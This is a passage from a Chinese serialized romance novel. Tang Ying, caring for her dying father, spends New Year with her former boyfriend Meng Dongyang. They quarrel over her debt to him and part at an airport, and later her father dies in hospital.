孟冬杨双手撑在栏杆上,视线落在楼下花园里的积雪上。 他很专注地在思考,唐盈的绯闻男友路医生什么时候才能离开那间病房。 突然,听见一道急促的脚步声,他回了头,唐盈的影子在同一时刻停在了玻璃门里,她的半张脸藏在口罩里,露出来的眼睛里透着隐隐的慌张。 唐盈没有跟孟冬杨对视,她上前一步,拉开这道玻璃门,轻声道:“站在外面不冷吗?” 话落手抵着门,侧身站着,意思是请他进来。 孟冬杨顿了两秒钟才迈开腿踏进门里,刚站定,她便把门关上,几乎是贴着墙壁,闷头往病房的方向走去。 进入病房后,唐盈的眼神立刻去找妈妈,有彭芳在,她的注意力就不会集中在一个人身上,就不会显得过于局促和紧张。 可是妈妈不在。 “坐吧。”唐盈压抑着紧张,搬了张凳子请孟冬杨落座。 孟冬杨没有理会唐盈,他径直走到老唐的近处,伸出手,轻柔地握住老唐的手,缓声对他说:“叔叔,我回来看你了。” 他跟唐盈确定关系后就再也没叫过老唐唐主任。自顾自地跟老唐打完招呼后,他站在床侧,抿着唇,一言不发。 唐盈心里像是有一把火在烧一面冰墙,她靠墙站着,看着孟冬杨的侧影,他的视线落在老唐瘦弱的脸颊上,眼神看上去既悲悯又悲伤。 “你吃饭了吗?”唐盈轻声问他。 孟冬杨回头看向唐盈的脸,灯光下,近距离,这张脸终于有了具体的形状。陈叔说她前阵子瘦到了九十斤,她妈妈担心她的身体,费心给她做营养餐,她学习用心,饿的快,食欲这才慢慢好转。 他没有回答唐盈这个问题。 他昨晚落地上海,下午赶到霓城,家门都没进,傍晚时直接开车来了青阳,大过年的,他能去哪儿吃饭呢? 彭芳看了着时间,一刻钟后回到病房里。她把洗好的草莓拿给孟冬杨吃,对他嘘寒问暖起来。 弄清楚孟冬杨的情况后,她让唐盈带孟冬杨回新家里,给他弄点吃的。 唐盈考虑到晚点回医院方便,下楼后开了自己的车。 孟冬杨没坐她的车,开车跟在她后面。 两辆车停在新小区的地下停车场后,唐盈下车问孟冬杨,要不要先去他的房子里看看。 孟冬杨问她:“你们什么时候搬过来的?” “还没正式搬,只是按习俗,新房弄好的第一年,要在新家开火过年。” 孟冬杨顿了顿,说先去她家。 进家门后,唐盈给孟冬杨找了双男士拖鞋,而后径直走进厨房里做饭。 砂锅里有彭芳上午炖的牛肉,热一热就能吃,她打算再炒两个小菜,蒸一点肉圆和香肠。 孟冬杨简单地参观了一下自己的设计成果后,就洗了手,走到唐盈的身后。 他说:“你不是已经吃过了吗,就我一个人吃的话,煮个面就好了。” “大过年的,怎么能就让你吃面呢。”唐盈背对着他,很认真地清洗一把小青菜。 “我来吧。”孟冬杨轻轻地推了下她的肩膀。 唐盈怔住片刻,而后立刻让开了身体,擦了把手,去冰箱里拿别的食材。 唐盈觉得这顿饭应该算是孟冬杨自己做的,因为后来他一点也没让她找到事做。 香肠蒸好了端上桌,孟冬杨问她要不要再吃一点。 这是想让她陪他吃饭的意思。她自己走过去拿了两双碗筷和一个勺子。 她给孟冬杨盛了一碗牛肉汤,让他趁热先喝汤。 孟冬杨尝了一口汤后,看了眼她的下巴,说:“你瘦了。” “体重已经快回到……”她想说,体重快要回到他们刚恋爱的时候了,细想这话有点暧昧,就停了嘴。 孟冬杨往她的碗里放了几块牛肉,“你不评价一下我吗?是瘦了,还是胖了,或是又变老了一点。” 唐盈没有抬头,她说:“你看起来更精神了。” “有吗?”孟冬杨看向她微微低垂的脸,音色深沉起来,“前几天偶然照镜子,我看见我的眼睛上多了一道细纹,才忽然间反应过来,我是个三十二岁的男人了。” “我没有发现,你保养的很好。” “别急着说虚伪的好听话。从在医院的走廊上见到你开始,到现在,两个小时过去了,你没有好好地看过我一眼。” 唐盈当即扬起脸,定定地看着他这双含情凝睇的眼睛。 两个人都静止了,握着筷子和勺子的手静止了,睫毛静止了,呼吸似乎也静止了。 “吃饭吧。”片刻后,唐盈先移开了视线。 沉默了几分钟后,她张口说道:“你过生日那天我忙忘了,抱歉。” 孟冬杨把剩下的半碗汤喝掉,不咸不淡地说:“如果你觉得对我送生日祝福是礼尚往来,那忘了便忘了吧。” 唐盈垂着眼眸拨弄碗里的一块肉,有点丧气地说:“你知道我这个人没良心的。” “你只是对我不好。” “那你就不要回来看我。” “我来看你爸爸的。” 一来一回的违心话说完,唐盈不知道此刻孟冬杨是什么表情,她心里很难受,她藏起了自己隐隐发酸的眼睛,放下筷子,离开了餐桌。 她走到阳台上,从洗衣机里拿出洗好的四件套,扔进烘干机里。 孟冬杨做饭的时候,她拆掉了一套亲戚送的新四件套,打算晚上给他用。他那套房子什么都弄好了,把床铺好,带上洗漱用品就可以去住。 除了正在使用的这个烘干机,这个家其他的家用电器和软装也都是他买的。 烘干机发出声音后,唐盈走到阳台的窗户前,把玻璃窗打开一条缝隙,让冷气吹起来。 她轻轻地呼吸着新鲜空气。 她的心快要闷死了。 【作者有话说】 晚一点二更~ 第47章 别等我了 孟冬杨又吃了一点蔬菜后就结束了这顿晚餐。 他没听见任何动静, 也没看见唐盈的影子,从厨房里出来后,有些茫然地看着这个由他打造的家。 他静静地站了一会儿, 思考着接下来自己该做些什么。 唐盈想踏出阳台的时候,看见孟冬杨站在餐厅和客厅之间的地方出神。 她一瞬间有些恍惚,这个人怎么会出现在这个家里呢。 他的气质跟这个家格格不入。这个家有着非常温馨非常文艺的色调,是根据她的偏好来设计的, 是偏女性化的。 她很早之前跟他提过一嘴, 她说她喜欢原木风格, 但是她妈妈喜欢田园风格, 她理想的家要是能结合这两者就好了。 来验收的那一天,她看出了孟冬杨的巧思,心想他应该为此付出了诸多精力。 当负责软装的人把豆灰绿的沙发和胡桃木的书柜搬进来时,她觉得这几乎跟她理想中的家一模一样。 他心思细到连客厅角柜上的粗陶罐和绿植都亲自挑选好了。边边角角都顾及到,他送给了她一个精致、丰富且完美的家。 处处流露着他的审美的家。 孟冬杨往前走了一步,唐盈的身影被框定在两扇玻璃门之间。她正目光深邃地看着他, 不知道这个姿势保持了多久。 唐盈收回神, 转身把门关上,对他说道:“大过年的就别去住酒店了, 你住这里也可以,去住你那套房子也可以,新床单快要烘干了。” “等会儿我陪你去医院。” 唐盈摇头拒绝:“你好好休息吧。” 烘干机还要再工作一会儿, 唐盈回避跟孟冬杨独处,去到厨房里想收拾一下,进去后听见洗碗机工作的声音, 台面上已经清理地干干净净。 她愣住神, 彭芳在这时发来一张照片。 彭芳召集了两个熟悉的病患家属, 三个人正围在病房里斗地主。 唐盈拧眉打去电话:“不是不让在病房里打牌吗?” “今天是除夕,还不兴人热闹热闹嘛,你别管我了,晚上我留下陪床。” “我等会儿就过去。” “你留在家里陪小孟吧。” 唐盈压低声音,“我陪他做什么,你给我爸陪床又算什么……” “那就让翟莉来!” 唐盈切了橙子拿到客厅里,看见孟冬杨站在书房门口。 “能进去看看吗?”孟冬杨问她。 “当然。” 孟冬杨打开灯,看见书柜里已经添置了不少书,她为数不多的几个玩偶也塞进了侧面的小格子里做装饰。 “喜欢这个书桌吗?”他问。 唐盈说很喜欢,立刻问道:“你一共花了多少钱?” 孟冬杨想起前阵子装修公司的人打来电话,说唐小姐追着他们问费用明细,恨不得一天催十遍。 他扬起眉梢问她:“你是打算还我这笔钱吗?” 唐盈斩钉截铁:“是。” “你打算怎么还?”孟冬杨坐到了书桌前的椅子上。 唐盈走到他近处,声音清晰地对他说:“我知道你不缺钱。我还年轻,只要你愿意等,我总能还得起。” “你要我等你多久呢,一年、两年、还是三年五年十年?” “不用十年那么久。”唐盈侧过身去,避开他的视线,“我打算再多读点书,换个专业……” “不当老师了吗?” 唐盈先回避这个问题,她吞咽一口情绪后,轻声道:“能考上再说吧。” 孟冬杨也将椅子侧了过去。 他从来不问陈叔她爸爸身体状况之外的问题,陈叔有时会随口提一句她最近在做些什么。说的最多的,就是她在看书学习。 她爸爸没出事之前她就已经进入了学习的状态,那时她想调到霓城去,想继续当老师,学习只是为了提升一下学历。 方才在病房门口,听见她跟路医生在谈考研方向,她的态度似乎是对自己没什么信心,但是路医生说到专业细分时,她立刻能纠错,可见她功课做的很足。 孟冬杨伸手从书柜里够了一个唐盈的玩偶,拿在手里把玩,口气轻松地问她:“你跟路医生经常一起学习吗?” 唐盈不打算回答这个问题。 孟冬杨见她不吱声,又问道:“你想要提升自己,是因为他吗?我还没同意分手,你就允许别的男人进入你的生活。” “是因为你。”唐盈有些不耐烦地接了话,“我不逼自己走出这个小城市,我怎么能还清欠你的债呢?” “那你大可直接去赚钱,去私立学校,去培训机构,以你的能力,工作几年,几十万很难存到吗?唐盈,我想听点真心话……” “真心话就是我爸爸快要死了,我快没有爸爸了。”唐盈突然情绪不受控制,意识到自己失态后,她缓声叙述道:“我也不知道自己能做些什么了,七想八想的时候就觉得自己好差劲,口口声声是为了家里人留在这个小地方,结果爸爸没守好,姐姐和妈妈也过得不如意,我什么都做不好……” 唐盈自我埋怨的声音终止在孟冬杨的怀抱里。 她的身体剧烈地起伏着,她拼命地忍着眼泪,不想让这个男人看见自己的脆弱。 孟冬杨轻抚着她的脊背,不停地在她耳边说:“你已经做得很好了,是我不好,是我不好……” 这个拥抱来得及时又牢靠,唐盈抑制着自己的情绪黑洞,努力地想往里面填进去一些柔软的东西,她短暂地抓住了孟冬杨的衣服。 她侧过脸,把耳朵轻轻地靠在他的胸口,“你都三十二岁了,就别等我了吧。” 烘干机停止了工作。唐盈拿出干爽的床单,问孟冬杨想住哪个房间。 孟冬杨说住她的房间。 唐盈自己都还没住过她的新房间,她走进去铺床单,孟冬杨跟进来给她帮忙。 彭芳又打来电话,说翟莉去医院了,她的牌局结束了。 唐盈挂了电话后,认真地给棉被套被罩。 “这是我妈新打的棉花被,有点重,你能盖得习惯吗?”她问孟冬杨。 孟冬杨听见了彭芳的话,问她:“你能留下来陪我吗?” 唐盈继续手上的动作,口气略微有些冷淡,“是要我留下来陪你睡觉吗?” 孟冬杨微微蹙眉,“是我没说清楚我的需求,还是你自己想太多,现在你不认可我们的恋爱关系,我也不接受一夜情,我们不可能一起睡觉的。” 唐盈用力地抖了下被子,没有接话。 电视打开,正在播放春晚,是一个有些尴尬的小品。 听了几句台词后,唐盈露出奇怪的眼神。 孟冬杨把水果递给她,“你还记得去年除夕夜吗?” 唐盈想起了一些细节。那天她站在家楼下接他的视频电话。 孟冬杨说:“那天我就在想,要是下一个除夕,能跟你一起坐在家里守岁就好了。” “你想的真远。” “一点也不远。这才第一年呢。” 唐盈塞了一瓣橙子到他手里,“你也吃点吧,不酸。” “你总是骗我。” 唐盈觉得他意有所指,冷声道:“你别说话了。” 【作者有话说】 看到大家的生日祝福啦,虽然不是今天过生日,但是心里好暖哦~谢谢你们~ 100个红包~ 第48章 我送送你 十二点的钟声敲响时, 落地窗外有烟花升空。 微弱的电视音量彻底被外部世界的热闹声响淹没,唐盈从五彩缤纷的窗外收回视线,孟冬杨靠在沙发背上睡着了。 他的睡容很舒展, 像是累极了,五官都是最放松最自然的样子。 唐盈靠近去找他说的那根新长出来的眼角细纹,找了十几秒钟也没有找到。 或许她从来没有关注过这些细微之处,她之前也没在他的眼睛上看见过皱纹。印象中, 像他这样擅长保养自己的人, 五官和皮肤总是很精致的。 最近几个月, 唐盈长出了几根白发, 她自己浑然不觉。苏洋洋发现后告诉她,她当即就让苏洋洋把白发拔了扔掉。 妈妈说白头发不能拔,拔了会越长越多。她不以为意。 她早就不在乎自己的年龄和容貌了。人总是会老会死,年轻漂亮对她来说毫无作用。 唐盈把孟冬杨腿上的笔记本电脑拿走放在桌子上,从房间里找来一条薄毯给他盖上。 孟冬杨的电脑里传来接收邮件的声音,屏幕亮了起来, 屏保竟然是一张她跟卡卡的背影照片。 唐盈的脸热了下, 她从来没看过这张照片。 照片的背景是漫岛附近的公园,那天她穿着很厚的外套, 和卡卡坐在人工湖边发呆。 屏保在一分钟后熄灭,她认真凝视的脸出现在黑色的屏幕上。她看着自己的样子愣了下神后,关掉电视, 关掉顶灯,只留下一盏落地灯的灯光。 烟火的声音持续了半个多小时后,城市逐渐恢复了宁静。 唐盈洗完澡, 把吹风机拿到卧室去吹潮湿的头发, 关门之前, 看了眼客厅的方向,孟冬杨还在安静睡着。 他一个人坐在那里,闭着眼睛,样子静谧又孤独。 头发吹到半干后,唐盈犯起困来,她好想直接倒在床上,可是这个房间孟冬杨要睡,她要是想安稳地睡一夜,就必须去铺另一个房间的床。 她回到客厅里,轻轻地拍了拍孟冬杨的肩膀,“你去床上睡吧。” 孟冬杨没有反应。 唐盈只好靠近他耳朵又叫了一遍。 孟冬杨依然没有睁开眼睛,但是他突然抬起手,按住唐盈的后脑勺,把她的脸按在了自己的颈窝里。 他深深地吸了吸鼻子,嗅着她头发里的香气。 嗅了好几下后,他把唐盈的头推开,问她:“我睡了多久?” 唐盈的脑袋一阵晕眩,疑惑地看着这人的眼睛,“你干嘛?” 孟冬杨睡眼迷离地回视她的目光,“只是闻一闻也不可以吗?” 唐盈心烦意燥,把毯子掀起来,盖住他整张脸。 孟冬杨去洗澡的时候,唐盈躺在沙发上,裹紧毯子沉沉睡去。担心会冷,闭眼之前她把羽绒马甲套在了睡衣外面。 从浴室出来后,孟冬杨对着沙发上这个穿着不伦不类的女人,细细地观察了几分钟,之后将她抱了起来。 唐盈惊醒,手下意识地扯住孟冬杨的衣领,说:“我就在这里睡,你去床上睡。” “我还要工作一会儿。”孟冬杨把她抱进卧室放在床上。 唐盈坐起来嘀咕道:“忙为什么还要回来……” “你把衣服脱了再睡。”孟冬杨又指了指她的领口,“内.衣也脱掉,不用防着我,我不会再进来。” 走到门口他回头看着唐盈,看了几秒后,像是回答她刚刚的抱怨,耐心说道:“其实我是回来跟你诉苦的。几年前我因为投资运气好,赚到了一些钱,但是这几年都挥霍得差不多了。我本职工作的收入并不高,选择留在美国,是相对来说赚的比国内要多一些,职场环境更好一点……总之,我现在还挺穷的。” 这下唐盈是彻底不困了,她往床头靠了一下,后脑勺上没吹太干的头发被压住,湿湿凉凉的感觉沁入头皮,她烦躁地拨弄着半干的头发,看着孟冬杨脚上的拖鞋说:“你能帮我把我的拖鞋拿过来吗?” 孟冬杨把她的拖鞋拿过来后,阻止她穿鞋的动作,把她按在床沿坐着,先帮她把头发吹干。 唐盈觉得这人管得好宽。她的脑袋好热,热到她受不了后,推开他的胳膊,穿上鞋去了书房。 书房里有保险箱,也是孟冬杨之前就买好的。 过去他送唐盈的珠宝通通都放在里面。除了珠宝,还有一些贵重的奢侈品,和一张银行卡。 唐盈把里面所有的东西都拿出去摆在餐桌上。 孟冬杨抿唇看着她折腾。 唐盈确认东西都在后,淡定地对孟冬杨说:“所有的东西我都没动过,放在我这里是负担,也占地方,你都拿走吧。” 她才几个资产啊,她一直都觉得她家里就不该出现保险箱这种东西。 孟冬杨顿时眉头紧蹙,“你说话太伤人了。” 唐盈怔住,心跳加快,咬了咬唇,解释道:“我的意思是,我真的用不上这些东西,既然你现在经济状况不太好,你就都收回去吧,这样我心里也轻松了。” “你在羞辱我。”孟冬杨音色清冷。 “我没有!”唐盈的语气急了,“孟冬杨,你这个人怎么不知好歹啊。” “你是要我感动涕零吗?感谢前女友在我落魄时伸出援手?” “我……” 孟冬杨嗤笑道:“你真是一点心也没有。” 孟冬杨摆出一副受到屈辱的样子后,去厨房里随便找了个垃圾袋,把桌面上的这堆东西胡乱地放进去。 “你要干什么?”唐盈抓住他的手腕。 孟冬杨对她歪一下头,“我决定接受你的施舍。” “……”唐盈瞪着他,“我可以给你找更结实的袋子。” “不用了,你眼里的垃圾就应该用垃圾袋来装。” 唐盈无语了,抱着胳膊打量这个男人,眼神冷漠,看戏似的。 看他装完,气冲冲地去厨房里又扯了一下垃圾袋出来,死活要套上去,说这样更结实。 两人的手开始拉扯,接着是胳膊,很快,孟冬杨的掌心顺理成章贴在了唐盈的腰上。 唐盈被往前带,下巴撞在了孟冬杨的胸口上,她又急又气,踮起脚一口咬在孟冬杨的脖子上。 孟冬杨顺势去吻唐盈的嘴唇,唐盈早有预料,偏过头躲开。 她的头撞过去,孟冬杨的手绕下来想抬起她的脸,她看准时机抓住他的手,狠下心来去咬他大拇指的指骨。 唐盈像一只鸵鸟似的,在孟冬杨进攻的时候,埋着头用嘴巴去找能反击又不表达情.欲的地方,带给他咬噬的伤痛。 她双手抓住孟冬杨的手,是禁锢、是牵制,也是在攀援、在纠缠,她理智地控制着牙齿的力度,更多的气力用在脑袋上,额头死死抵住孟冬杨的心脏。 孟冬杨的手并没有感觉到太深的痛感,反而是心口,里外都被她压制着,被她蹂.躏着,像是一个脆弱的气球在狭窄的缝隙里寻找出口。 她的姿态过于蛮横,不讲道理也不讲情面,执拗的像一只未经人类驯化的兽,试图用蛮力对抗升腾而起的欲望。 她明明渴望着别样的亲密。 唐盈把复杂的情绪宣泄在男人的手骨上后,站直身体往卧室里走。 孟冬杨看着她的背影消失在转角后,目光落在自己的手上,她的牙印清晰地留在了上面。 他站了一会儿后,去客厅拿了电脑,去她的书房里工作。 回完一封邮件后,他低头看那个牙印,痕迹并未消散。 天快亮时,手上的痕迹彻底消失了,孟冬杨结束工作,洗了手和脸,轻声打开唐盈卧室的门。 唐盈从床上坐起来,摸到手机看了看时间。 “五点半。”孟冬杨对她说。 她揉了揉眼睛,手掌探进被子里去找自己的内.衣,“你先出去。” 孟冬杨掀开被子,躺在了床的另一边,“我不看你,我睡一会儿。” 唐盈摸到内.衣后捂着胸口下床往门口走,“我去医院了,你睡醒自己弄点吃的。” “我下午三点半的飞机飞上海,我要走了。” 唐盈顿住。 “你去忙吧。走之前,我会再去医院一趟。” 唐盈站在门口,背对着孟冬杨,嗡声道:“我去把早餐给你做好。” “我不吃,你做的东西不好吃。”孟冬杨翻了个身,从枕头下面摸到一根皮筋,他把皮筋攥进掌心里。 唐盈没再说话,她打开门走了出去,关门的声音很轻。 闭上眼睛的时候,孟冬杨觉得自己有点恨她。 唐盈心里想着“下午三点半”这个时间,猜测孟冬杨最晚十点会来医院,然后就要出发去霓城的机场。 翟莉陪护一夜后,上午便离开了。现在唐久安夫妇坐在病房里,陪伴着昏睡的老唐。 自打唐家的亲戚们说了唐盈一些不好听的话后,彭芳就不愿意再跟他们打交道,想着今天肯定有不少亲戚会来看望,把流食送到护士站后人就走了。 孟冬杨的车开进医院时,碰到正离开的彭芳。他请彭芳上车,想送她回家。 彭芳说不耽误他的时间了,又对他说道:“你今天就别去病房了,里面人多。亲戚们都以为你跟唐盈分手了,你这再一出现,唐盈难免又要……” 她叹了口气:“小孟,我这人说话直,你别介意。我是心疼唐盈。” 孟冬杨明白她的意思,点了点头,“好,我不进去。” 唐盈接到孟冬杨的电话后,跑来停车场找他。 未等孟冬杨张口说话,唐盈拉开驾驶室的门,说:“你下来,我送你。” 孟冬杨被唐盈拽了下去。 唐盈把座椅往前调,系上安全带,闷声开车。 孟冬杨拧眉看着她:“那你待会儿怎么回来?” “坐机场大巴回来。”唐盈平时前方,“上次你走,我没机会送你一程,挺过意不去的。今天清闲了,终于能送送你了。” 孟冬杨觉得这也不是什么好听话。 第49章 又一关 一路上两人都没怎么交流。 唐盈播放音乐, 孟冬杨嫌吵,把音乐关掉了。唐盈习惯开车时听歌,再次把音乐打开, 孟冬杨又给关掉了。 唐盈也不生气,但孟冬杨找机会跟她说话时,她选择不搭理。 孟冬杨拿她半点办法也没有。 车驶入机场停车场时,孟冬杨对唐盈说:“你把车开回青阳。” 唐盈打算把车停到他霓城的家楼下。 “车长时间不开, 发动机会出问题, 你开回去吧, 这车也该保养了。” “开回去没地方停。” “我那个房子有车库, 你是知道的,你能不能别为了拒绝人家的心意信口胡说。”孟冬杨深深蹙眉,“我回来就是为了看你,下次我提前告诉你,你来机场接我。” “只是为了看我的话就别回来了。”唐盈冷言冷语。 孟冬杨把自己的手机重重地扔进扶手箱里,“腿长在我自己身上。” 唐盈屏住呼吸看向他, “这么远, 跑来跑去的不累吗?” “真心疼我,就对我态度好一点。”孟冬杨把手伸过去想抓住唐盈的手, “耍这些小性子,是不是因为不舍得我走?你以前可不是这样的。” “我没有。”唐盈躲开他的手,眼睛看向窗外。 孟冬杨平心静气道:“你对我越来越任性了。” 唐盈没有心情反思自己, 默不作声。 找到停车位后,唐盈下车去开后备箱,孟冬杨走过来后微微弯着腰。 “你怎么了?”唐盈看着他。 “胃疼。” “没吃早饭?”他说她做的东西不好吃, 于是她早上没进厨房就走了。 孟冬杨手扶住车, “睡过头了。” 唐盈抿了下唇, 一边去打开的后备箱里拿他的行李,一边说:“进去吃点东西吧。” “你陪我。” “我回去还有事。” “不差这一个小时。”孟冬杨推开她的手,自己把行李箱拿了出来。??Х? 唐盈想去给孟冬杨买麦当劳,孟冬杨不想吃,非要吃面。 点的牛肉面味道又不好,他动了几下筷子就停了手,只喝了半杯美式。 “你这样不是胃更疼了吗?” 唐盈话落,回到咖啡店去给他买三明治,看见橱窗有巧克力蛋糕,选了一块一起打包。 孟冬杨把一整块巧克力蛋糕都吃完了。 “胃还疼吗?”唐盈问他。 男人摇了摇头。 “你工作这么忙,平时有时间自己做饭吗?” “这些关心我的话你早就该问了。” 唐盈好讨厌他这幅咄咄逼人的样子。 孟冬杨顺势说道:“我每一天都在期待你能主动发来一条关心我的消息。” “你也很少联系我。” “但是我很了解你的情况。” 想起陈叔,唐盈跟他较劲的气势弱了下去,问他:“陈叔的工资到底是多少?” “很多,你还不起。”孟冬杨吃完蛋糕又去吃口袋里的糖。 唐盈一阵心梗,学他扔手机的样子把拿在手里把玩的餐牌扔在了桌面上。 孟冬杨拨弄着嘴巴里的糖果,把打开的糖盒推到她面前,“是,你还年轻,可以慢慢还,可是我不年轻了,我怕等到你心里我们俩平等的那一天,你再想从我身上要点什么,我没精力给你了。” “你在说什么?”唐盈别过脸去,“我们已经结束了。我没跟你玩什么游戏,你自重。” “你可以走了。”孟冬杨负气地说,说完不再看她。 唐盈起身就走,头也不回。 孟冬杨告诉自己别去看她,可视线还是忍不住落了过去。 唐盈步伐决然,心意却摇摆着,最终脚步停在了餐厅外面。 孟冬杨见状,站起来往外后。 他想他们不该这样告别。 唐盈也转过身折了回来,她在孟冬杨面前站定,低着头,藏住自己的表情。 孟冬杨眼底的光一瞬间变得温柔,他伸出手,想靠近她一步。 唐盈却后退了半步,弯下腰,诚恳地对孟冬杨鞠了一躬,轻声道:“谢谢你找到陈叔这么好的人照顾我爸爸。我不止欠你的情,我也欠其他人的,现在我来送你,在病房里陪着我爸爸的是我大哥大嫂,我顶不住的时候都是他们在撑着我。对不起,我要回去了,祝你一路平安。” 话落唐盈疾步离开,背影很快消失在孟冬杨的视野中。 孟冬杨伸出去的手还悬在那里,他脊背僵硬着,胃又猛地疼了起来。 回到车里,唐盈立刻打开音乐,把音量调到很大。 驶离机场几公里后,路况一片良好。她一路往南开,要回到她的小城。 她想了一下上海的方向和洛杉矶的方向,心里的地图上,有个人离她越来越远。 眼睛隐隐发酸时,她将车停在了应急车道上,抽了张纸巾,按住自己的眼睛。 脑子里想了些别的事情后,纸巾只湿了一小片。 她把纸巾揉成一团塞进口袋里,继续往应走的道路上开。 落地上海后,孟冬杨接到杨梦真打来的电话,杨梦真问他这次去青阳顺不顺利。 他说不太顺利,他的表现很差劲。 杨梦真问他是哪里做的不好。 他说他没有一件事做对了,他态度不好,说话没有耐心,词不达意,什么都没做好。 元宵节这天,老唐突然高烧不退,被送进了ICU。 医院下了病危通知单。翟莉慌张赶来,跟唐盈商量预备后事的事情,唐盈第一次对翟莉发了脾气。 唐久安把唐盈带到一旁,让她先冷静。 “她就是嘴上一说,梅馨的孩子她一天也脱不了手,她哪有时间去准备这些事情。不过医生的话你也要听进耳朵里,如果肺炎加重无法自主呼吸,上了机器,就不单单只是费用的问题,你也要考虑……” 唐久安没忍心把剩下来的话说出口。 唐盈神情木讷,“他活着的质量早就不高了啊,但是活着和死亡是两回事,他还在,我就还有爸爸,对不对?” 唐久安听得眼圈发红,说:“我们也不希望小叔这么快就走啊。” 彭文君从霓城赶了回来,陪唐盈在ICU门口守了一天一夜。 翟莉被唐盈骂了一通后,赌气抱着孩子在医院里等。后来谷瑞安请了假,来把孩子接回了家。 彭文君跑过去问翟莉,“梅馨还是不管孩子吗?” 翟莉苦笑道:“我上辈子欠她的。” “她不带就让谷瑞安带,谷瑞安上班带不了就扔给他爸妈带,这孩子又不是梅馨一个人的。” “孩子不姓谷,梅馨平时也不让孩子的爷爷奶奶来看,我怎么扔给他们?”翟莉小声抽泣起来。 彭文君听见她哭,把她请回病房,“别在这里哭,唐盈听了心里又要不好受了。” “文君,你去劝劝唐盈吧,他爸爸插着管子多受罪啊……” “别再说这种话!你可以没有老公,但我跟唐盈还想有爸爸!” 苏洋洋来给姐妹俩送吃的,看见彭文君偷偷抹眼泪,自己的眼眶也跟着红了起来。 路晨走过来戳了戳苏洋洋的胳膊,悄声说:“你怎么也这样,我早上卜了一挂,唐叔这次能挺过去。” “你堂堂一个信封科学唯物主义的医学生,竟然搞起封建迷信来了。” “亏你还出去了那么久,看了这么多生死,难道还没发现嘛,在人道主义面前,科学实在太冰冷无情。我们开学第一课学的就是生命至上,这是医学的最终信仰。所以我愿意在这种危急关头相信心灵的力量。唐盈不舍得她爸爸走,她爸爸肯定也放不下她。” 苏洋洋瞪着说的神乎其神的路晨,“借你吉言。” 灶上的汤熬干了,得亏有烟雾报警器发出提示音,彭芳才在危险发生之前回过神来。 她魂不守舍地跑进厨房里关掉火,皱着眉头把糊掉的锅扔到水池里。 危机解除了,烟雾报警器仍在发出尖锐的声音。她听着心烦,用手机查了半天这个报警器怎么关,都没有找对方向。 只好发微信问孟冬杨。这个报警器是孟冬杨当时要求安装的。 消息刚发过去,报警器安静了。 彭芳握着手机想继续打字,孟冬杨已经打了语音电话过来。 “没事了,小孟,已经不响了,可能是烟散干净了。” 孟冬杨轻声问道:“您是不是累着了?” 彭芳说就是没留神。 寒暄几句后,彭芳准备挂电话。 孟冬杨请她稍等,问道:“唐盈现在的状态还好吗?”他第一时间从陈叔那里得知老唐进ICU的事,几乎一夜未眠。 彭芳不想让他挂心,自然挑让他安心的话说。又磕磕绊绊地聊了几句话,彭芳挂了电话。 厨房里弥漫着糊味,彭芳这才想起来要开窗。 她拍了拍自己的脑袋,先是质疑起自己是不是老了,记性不好了,而后想起病危的老唐,揪起来的心愈发紧绷绷的。 想起得知老唐找了翟莉之后,她当时还怄了几天气,对老唐发了好几次脾气,“噗嗤”一声笑出声来,觉得自己那会儿好傻。 笑着笑着鼻子就酸了。 她早就没有老公了,她已经习惯了。可是她没办法习惯两个女儿没有爸爸了啊。 这天下午,ICU的护士出来通知,老唐终于退烧了。 唐盈整个人都往下沉了几寸。她掺住姐姐的胳膊,上半身微微发着抖。 又过了一会儿,医生出来告知家属,这一关算是熬过去了。 彭文君紧紧地握着唐盈的手,“爸没事了,爸没事了……” 陈叔把消息告知孟冬杨后,孟冬杨退掉了回国的机票。挂了电话后,他随便给自己做了口吃的后就去补觉。 他刚闭上眼睛后就开始做梦,先是梦到卡卡,之后又梦到在青阳发生的一些事情。 好奇怪,唐盈始终没有出现在这个梦里。 醒来后他也没顾得上看国内是几点钟,直接给唐盈打去电话。 几声后唐盈接起来。 “你不用说话。”孟冬杨声音沙哑地说道。 唐盈听见他嗓音不对,问他:“你怎么了?” “我没事,我刚睡醒。你接我电话就好。你不想跟我说话就不说,让我能听见你的呼吸声就行。” 唐盈抿着唇,轻轻地呼气。 “唐盈。”孟冬杨叫了声她的名字。 唐盈应了一声。 “我最近失眠很严重,我每天睡觉之前能给你打个电话吗?” 唐盈没吱声。 “我当你同意了。那先这样吧,我挂了。” 电话里孟冬杨的声音消失后,唐盈放下手机,吃掉一颗妈妈包的馄饨。 彭文君听出是谁给她打电话了,冷不丁地对她说:“我准备离婚了。” 唐盈侧过脸看着姐姐。 彭文君淡声说道:“你姐夫和他家里人一直没来看过爸,这次病危通知书都下了,你姐夫也还是无动于衷。他们觉得没有血缘关系就不必上心,别的我都可以忍受,但是我不能让两个孩子接受这样冷漠的教育。等汐汐和弟弟长大,会理解我做出的这个选择的。唐盈,我们都勇敢一点。” 第50章 我等你 青阳的花开了, 老唐却连轮椅也坐不了了,整天只能躺在床上。 唐盈拍了好看的花拿给爸爸看,老唐的视线先落在手机屏幕上, 很快又落到唐盈的脸上。 陈叔说:“这几天他清醒的时间变多了。” 老唐醒着的时候,最喜欢盯着唐盈看,唐盈要是不在,他就盯着来送饭的彭芳看。有一回, 彭文君把汐汐和弟弟带来, 汐汐握着他的手, 他连续眨了三下眼睛后, 呆呆地看向唐盈。 路晨说老唐很可能记得唐盈小时候的样子。 隔天唐盈把自己和姐姐小时候的照片拿来给爸爸看,老唐的目光非常专注。 医学无法解释,唐盈却要笃定,爸爸就是记得她。 执念太深的时候,她握着爸爸的手泪流满面。 她看过许多案例,跟老唐同样情况的病人, 活五年八年的也是有的。她不明白爸爸为什么衰竭的这么快。 妈妈跟她说, 老唐是个骄傲的人,他要是清醒着, 肯定不愿意这么不体面的活着。 她内心还是无法接受残酷的事实。 她小心翼翼地给爸爸的脸涂润肤霜,给他修剪指甲,因为身体吸收不了营养, 老唐的指甲异常脆弱,断裂的时候,她的心跟着一起开裂。 各项指标都显示老唐快走到生命尽头时, 唐盈签下了一堆通知单, 平静地等待医生为老唐拔管。 翟莉不忍去看, 趴在窗户上痛哭流涕,薛晓慧安抚着她,自己也掉下眼泪来。 唐盈握着爸爸的手,另一只手去抚摸他消瘦没有血色的脸颊。她怎么也想不起来爸爸跟她说的最后一句话是什么。 她拼命去想,想到了爸爸的声音和语气,想起了他的神态,可那句话依然是模糊的。 爸爸没有机会给她留下只字片语就倒下了。 医生宣布死亡时,彭芳靠在病房外的墙壁上,忽然想起她跟老唐结婚时的情形,脑海里喜庆的红色变成了灰,热闹的声音被耳鸣声淹没。 